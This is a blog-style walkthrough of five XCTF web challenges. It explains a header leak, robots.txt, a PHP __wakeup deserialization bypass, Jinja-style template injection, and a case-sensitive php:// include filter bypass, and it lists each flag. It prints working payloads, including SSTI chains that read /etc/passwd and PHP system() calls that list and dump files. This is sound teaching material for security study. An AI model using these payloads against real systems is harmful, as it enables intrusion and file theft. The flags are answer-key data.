XCTF Web Challenges Walkthrough - Part 1

baby_web

According to the challenge description, the initial page should be index. When attempting to change 1.php to index.php, it still redirects to 1.php. Let's try intercepting the request with a proxy tool.

By examinign the response headers, we can discover the flag:

flag{very_baby_web}

Training-WWW-Robots

Navigate to the challenge page. The key to this challenge is understanding the robots.txt file convention.

Accessing http://IP:port/robots.txt reveals the robots protocol, which shows a file called fl0g.php. While direct access might appear blocked, using directory scannning tools like御剑 can discover the php file. Accessing it directly yields the flag:

cyberpeace{79df38364a852059f581632c44d043bf}

About robots.txt

The robots exclusion protocol (robots.txt) is an ASCII-encoded text file stored in a website's root directory. It instructs web crawlers which pages should or should not be indexed. Since URLs in some systems are case-sensitive, the filename should be consistently lowercase. The file must be placed in the root directory. Custom crawling rules for specific subdirectories can be merged into the root robots.txt or defined using robots meta tags.

Note: The robots protocol is merely a convention, not an enforced standard, so it cannot guarantee privacy protection.


unserialize3

Examining the source code reveals that the challenge requires passing a value through the $_GET parameter named "code" while bypassing the __wakeup() magic method.

The __wakeup() vulnerability in PHP relates to the object property count. When the serialized string's property count exceeds the actual property count, the __wakeup() method is skipped during deserialization.

Original class structure:

<?php
class challenge {
    public $secret = '111';
    public function __wakeup() {
        exit('bad requests');
    }
}
$obj = new challenge();
echo serialize($obj);
?>

Original serialized output:

O:9:"challenge":1:{s:7:"secret";s:3:"111";}

Modified payload (property count changed from 1 to 2):

O:9:"challenge":2:{s:7:"secret";s:3:"111";}

Flag:

cyberpeace{0246a70ac2b5885c194e9b6a0c6a3597}

PHP Serialization Reference

PHP's serialize() and unserialize() functions handle object serialization. The former converts values to serialized strings, while the latter reconstructs original variables from strings.

Important Notes:

  • Private properties receive null bytes on both sides during serialization, adding 2 to their length representation
  • Serialization only captures property values, not function definitions

Magic Methods in PHP

Methods prefixed with double underscores in PHP are called magic methods, including __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __set_state(), __clone(), and __autoload().

Key methods related to serialization:

  • __construct() - Invoked when an object is created
  • __destruct() - Triggered when an object is desrtoyed
  • __wakeup() - Triggered when unserialize() is called
  • __sleep() - Triggered when serialize() is called
  • __toString() - Triggered when the object is treated as a string
  • __get() - Accesses data from inaccessible properties
  • __set() - Writes data to inaccessible properties

Web_python_template_injection

Accessing the challenge page, we can test for template injection using {{3+4}}. If the server returns 7, a Python template injection vulnerability exists.

To enumerate server configuration:

{{ config.items() }}

Discover available classes:

{{ ''.__class__.__mro__[2].__subclasses__() }}

Identify file-related classes (typically around index 40) for file operations:

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

Read the flag file:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read() }}

Flag:

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

Web_php_include

Source code analysis:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page = $_GET['page'];
while (strstr($page, "php://")) {
    $page = str_replace("php://", "", $page);
}
include($page);
?>

The code filters out any occurrence of "php://" by replacing it with an empty string, causing an infinite loop if "php://" is present in the input.

The strstr() function is case-sensitive. By using uppercase "PHP://", we can bypass the filter.

Submit via POST:

<?php system("ls");?>

This reveals several files. The flag resides in fl4g***.php. Retrieve its contents:

<?php system("cat fl4gisisish3r3.php");?>

Flag:

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

Tags: xctf web-security PHP unserialize python

Posted on Thu, 24 Sep 2026 16:26:16 +0000 by Savahn